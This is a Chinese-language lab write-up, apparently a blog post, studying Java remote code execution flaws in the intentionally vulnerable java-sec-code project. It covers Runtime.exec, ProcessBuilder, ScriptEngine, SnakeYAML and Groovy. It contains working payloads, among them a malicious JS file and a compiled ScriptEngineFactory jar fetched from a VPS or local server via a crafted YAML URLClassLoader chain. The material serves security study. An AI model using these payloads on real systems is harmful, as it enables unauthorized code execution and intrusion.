RCE 简述
RCE (Remote Code Execution), 远程代码执行漏洞,这里包含两种类型漏洞:命令注入(Command Injection)
,在某种开发需求中,需要引入对系统本地命令的支持来完成特定功能,当未对输入做过滤时,则会产生命令注入。代码注入(Code Injection)
,在正常的java程序中注入一段java代码并执行,即用户输入的数据当作java代码进行执行。
Java 命令执行函数
Java 命令执行函数相对 PHP 来说,能够进行命令执行的函数并不多,只有两个 Runtime
,ProcessBuilder
,其他方法也能进行命令执行,本文主要介绍如下:
| 函数/其他 | 作用 |
| --------------------- | -------------------------------------------- |
| Runtime | 命令执行 |
| ProcessBuilder | 命令执行 |
| ScriptEbgine(JScmd) | 加载远程 js 文件来执行命令 |
| yml | 利用 SnakeYAML 将 yaml 文件解析 yml,进行命令执行 |
| groovy | 不安全使用 groovy 导致命令执行 |
|
靶场搭建
一、项目地址
1
| https://github.com/JoyChou93/java-sec-code
|
二、环境配置
1、导入源码中的 sql 文件至 Mysql 数据库。
2、修改源码数据库 root 密码
3、编译项目
右键run,成功启动项目
成功搭建,账号密码:admin/admin123、joychou/joychou123
若前期环境没有搭建,请参考上一篇文章。
漏洞学习
一、Runtime 命令执行
Runtime 类封装了运行时的环境,每个 Java 应用程序都有一个 Runtime 类实例,使应用程序能够与其运行的环境相连接。一般不能实例化一个 Runtime 对象,应用程序也不能创建自己的 Runtime 类实例,但可以通过 getRuntime 方法获取当前 Runtime 运行时对象的引用。当 Runtime 的对象被引用,就可以调用 Runtime 对象的方法去控制 Java 虚拟机的状态和行为。
漏洞分析,具体漏洞代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| @RestController @RequestMapping("/rce") public class Rce {
@GetMapping("/runtime/exec") public String CommandExec(String cmd) { Runtime run = Runtime.getRuntime(); StringBuilder sb = new StringBuilder();
try { Process p = run.exec(cmd); BufferedInputStream in = new BufferedInputStream(p.getInputStream()); BufferedReader inBr = new BufferedReader(new InputStreamReader(in)); String tmpStr;
while ((tmpStr = inBr.readLine()) != null) { sb.append(tmpStr); }
if (p.waitFor() != 0) { if (p.exitValue() == 1) return "Command exec failed!!"; }
inBr.close(); in.close(); } catch (Exception e) { return e.toString(); } return sb.toString(); }
|
IDEA调试分析,定位漏洞代码,利用IDEA全局搜索,定位危险函数 右键目录 -》 Find in files
搜索 runtime
当多处存在则需要进一步分析,定位到 runtime
危险函数文件为 Rce.java
, 初步分析其代码,没有发现进行过滤处理
跟进 getRuntime()
方法,Ctrl + 鼠标左键
点击 getRuntime
, 代码没有进行任何过滤,直接返回 currentRuntime
对象, 由下图可知,currentRuntime
为类 Runtime
的实例对象。也就是说,每次调用 getRuntime()
方法都会由类 Runtime
产生一个新的实例对象 new Runtime()
。
代码即可分析为,当调用了 getRuntime()
产生了一个新的 Runtime
对象后,再进行下一步执行 run.exec()
跟进 exec
方法, Ctrl + 鼠标左键
点击 exec
,通过实例化了 Runtime.getRuntime()
,利用 exec
去执行传入的参数。
漏洞复现,定位漏洞路径,按自上到下的方法初步定位路径 /rce/runtime/exec?cmd
成功复现
小结:通过全局搜索 Runtime ,定位是否存在危险函数,然后查看其代码是否采取了过滤机制,再跟进代码分析其执行方法,最后定位漏洞路径进行漏洞复现。
二、ProcessBuilder 命令执行
ProcessBuilder
类通过创建系统进程执行命令,每个 ProcessBuilder
实例管理一个进程的属性,start()
方法使用这些属性创建一个新的 Process
实例。可以从同一实例重复调用start()
方法以创建具有相同或相关属性的新子进程。
漏洞分析,具体漏洞代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| @GetMapping("/ProcessBuilder") public String processBuilder(String cmd) {
StringBuilder sb = new StringBuilder();
try { String[] arrCmd = {cmd}; ProcessBuilder processBuilder = new ProcessBuilder(arrCmd); Process p = processBuilder.start(); BufferedInputStream in = new BufferedInputStream(p.getInputStream()); BufferedReader inBr = new BufferedReader(new InputStreamReader(in)); String tmpStr;
while ((tmpStr = inBr.readLine()) != null) { sb.append(tmpStr); } } catch (Exception e) { return e.toString(); }
return sb.toString(); }
|
核心代码, 创建 ProcessBuilder
实例化对象,调用 start
方法执行 arrCmd
1 2
| ProcessBuilder processBuilder = new ProcessBuilder(arrCmd); Process p = processBuilder.start();
|
返回 Process
对象 p
调用 getInputStream
获取输入流,读取输入流写入输入流。
1 2
| BufferedInputStream in = new BufferedInputStream(p.getInputStream()); BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
|
漏洞路径找寻,依旧按照从上而下的方法找寻路径
拼接路径,漏洞复现 http://192.168.114.131:8080/rce/ProcessBuilder?cmd=calc.exe
小结:参考第一部分方法,通过全局搜索 ProcessBuilder
定位是否存在危险函数,然后查看其代码是否采取了过滤机制,再跟进代码分析其执行方法,最后定位漏洞路径进行漏洞复现。
三、ScriptEngine 命令执行(jscmd)
ScriptEngine
是一个脚本引擎,包含一些操作方法,eval
,createBindings
, setBindings
。通过 ScriptEngine
获取 jsurl
传入的 js
脚本文件,然后再通过 engine.getBindings
获取 js
脚本文件中的方法和属性,加载 js
之后将其赋值给 cmd
,然后再通过 engine.eval
执行,⚠️ 在 Java 8
之后移除了 ScriptEngineManager
的 eval
。
具体漏洞源码如下:
1 2 3 4 5 6 7 8
| @GetMapping("/jscmd") public void jsEngine(String jsurl) throws Exception{ ScriptEngine engine = new ScriptEngineManager().getEngineByName("js"); Bindings bindings = engine.getBindings(ScriptContext.ENGINE_SCOPE); String cmd = String.format("load(\"%s\")", jsurl); engine.eval(cmd, bindings); }
|
恶意js代码,放置于VPS中,待远程调用
1 2 3 4
| var a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec("calc"); }
|
漏洞复现,vps上放置恶意代码
远程访问加载恶意 js 实现攻击,构造链接为:http://127.0.0.1:8080/jscmd?jsurl=http://x.x.x.x:8000/test.js
小结:通过全局搜索 ScriptEngine
定位是否存在危险函数,然后查看其代码是否采取了过滤机制,再跟进代码分析其执行方法,最后定位漏洞路径进行漏洞复现。
四、yml命令执行
YAML(YAML Ain’t Markup Language),也可以叫做YML,是一种人性化的数据序列化的语言,类似于XML,JSON。SpringBoot的配置文件就支持yaml文件。原理利用 SnakeYAML
存在的反序列化漏洞进行 RCE
,系统在解析恶意 yml
内容时会完成指定的动作。触发 java.net.URL
去拉取远程 HTTP
服务器上的恶意 jar
文件,然后是寻找 jar
文件中实现 javax.script.ScriptEngineFactory
接口的类并实例化,实例化类时执行恶意代码,造成 RCE 漏洞。
yaml有三种数据结构,结构如下:
● 对象
1 2 3 4 5 6 7
| address: {province: 山东, city: 济南}
address: province: 山东 city: 济南
|
● 数组
1 2 3 4 5 6 7
| hobbyList: [游泳, 跑步]
hobbyList: - 游泳 - 跑步
|
● 纯量
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| userId: S123 username: "lisi" password: '123456' province: 山东 city: "济南 : ss"
success: true
age: 13
weight: 75.5
gender: ~
createDate: 2001-12-14T21:59:43.10+05
|
漏洞分析,具体漏洞代码如下:
1 2 3 4 5 6 7 8 9 10 11
| @GetMapping("/vuln/yarm") public void yarm(String content) { Yaml y = new Yaml(); y.load(content); }
@GetMapping("/sec/yarm") public void secYarm(String content) { Yaml y = new Yaml(new SafeConstructor()); y.load(content); }
|
Payload 项目地址:https://github.com/artsploit/yaml-payload ,恶意代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78
| package artsploit;
import javax.script.ScriptEngine; import javax.script.ScriptEngineFactory; import java.io.IOException; import java.util.List;
public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
public AwesomeScriptEngineFactory() { try { Runtime.getRuntime().exec("calc.exe"); } catch (IOException e) { e.printStackTrace(); } }
@Override public String getEngineName() { return null; }
@Override public String getEngineVersion() { return null; }
@Override public List<String> getExtensions() { return null; }
@Override public List<String> getMimeTypes() { return null; }
@Override public List<String> getNames() { return null; }
@Override public String getLanguageName() { return null; }
@Override public String getLanguageVersion() { return null; }
@Override public Object getParameter(String key) { return null; }
@Override public String getMethodCallSyntax(String obj, String m, String... args) { return null; }
@Override public String getOutputStatement(String toDisplay) { return null; }
@Override public String getProgram(String... statements) { return null; }
@Override public ScriptEngine getScriptEngine() { return null; } }
|
漏洞复现,先编译 java
再将恶意代码带入 yaml-payload.jar
1 2
| javac AwesomeScriptEngineFactory.java jar -cvf yaml-payload.jar -C src/ .
|
然后VPS Python
临时起一个服务放置 yaml-payload.jar
(这里使用本机起服务)
拼接如下内容:
1 2 3 4 5
| !!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://127.0.0.1:8000/yaml-payload.jar"] ]] ]
|
访问后弹出记事本
1 2 3 4 5
| http://localhost:8080/rce/vuln/yarm?content=!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://127.0.0.1:8000/yaml-payload.jar"] ]] ]
|
五、Groovy
Groovy
是一种基于Java平台的面向对象语言。
漏洞分析,具体漏洞代码如下:
1 2 3 4 5
| @GetMapping("groovy") public void groovyshell(String content) { GroovyShell groovyShell = new GroovyShell(); groovyShell.evaluate(content); }
|
主要原理,不安全的使用了 Groovy
调用命令,对用户的输入没有进行过滤。content
为用户输入的命令,groovy 接收指令后,利用 evaluate
进行执行。
漏洞复现,构造链接为:http://127.0.0.1:8080/rce/groovy?content="calc".execute()
六、其他
1)由于代码对于用户传入的类、类的方法、类的参数没有做任何限制,亦可以导致 RCE 的产生。
2)由表达式注入导致的RCE漏洞,常见的如:OGNL、SpEL、MVEL、EL、Fel、JST+EL 等
3)由java后端模板引擎注入导致的 RCE 漏洞,常见的如:Freemarker、Velocity、Thymeleaf 等
4)由第三方开源组件引起的 RCE 漏洞,常见的如:Fastjson、Shiro、Xstream、Struts2、weblogic 等
小结
这里只参考了 Java-sec-code
项目中的 RCE
漏洞进行学习,当然实战中的变化也不单单只有这些俗套的套路。后续会继续学习其他的挖掘方法、利用方法。
参考文章:
1 2 3 4 5
| https://www.freebuf.com/articles/web/338055.html https://cbatl.gitee.io/2021/12/09/javaseccode1/ https://www.cnpanda.net/codeaudit/705.html https://www.ol4three.com/2021/08/12/WEB/Code_audit/Java-sec-code%E5%AD%A6%E4%B9%A0%E8%AE%B0%E5%BD%95/ https://www.cnblogs.com/CoLo/p/15240834.html#:~:text=ProcessBuilder%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%201%E3%80%81%E5%88%9B%E5%BB%BAProcessBuilder%E5%AE%9E%E4%BE%8B%E5%8C%96%E5%AF%B9%E8%B1%A1,2%E3%80%81%E8%B0%83%E7%94%A8start%E6%96%B9%E6%B3%95%E6%89%A7%E8%A1%8C%203%E3%80%81%E8%BF%94%E5%9B%9E%E7%9A%84Process%E5%AF%B9%E8%B1%A1%E8%B0%83%E7%94%A8getInputStream%E8%8E%B7%E5%8F%96%E8%BE%93%E5%85%A5%E6%B5%81%204%E3%80%81%E8%AF%BB%E5%8F%96%E8%BE%93%E5%85%A5%E6%B5%81%E5%86%99%E5%85%A5%E8%BE%93%E5%87%BA%E6%B5%81
|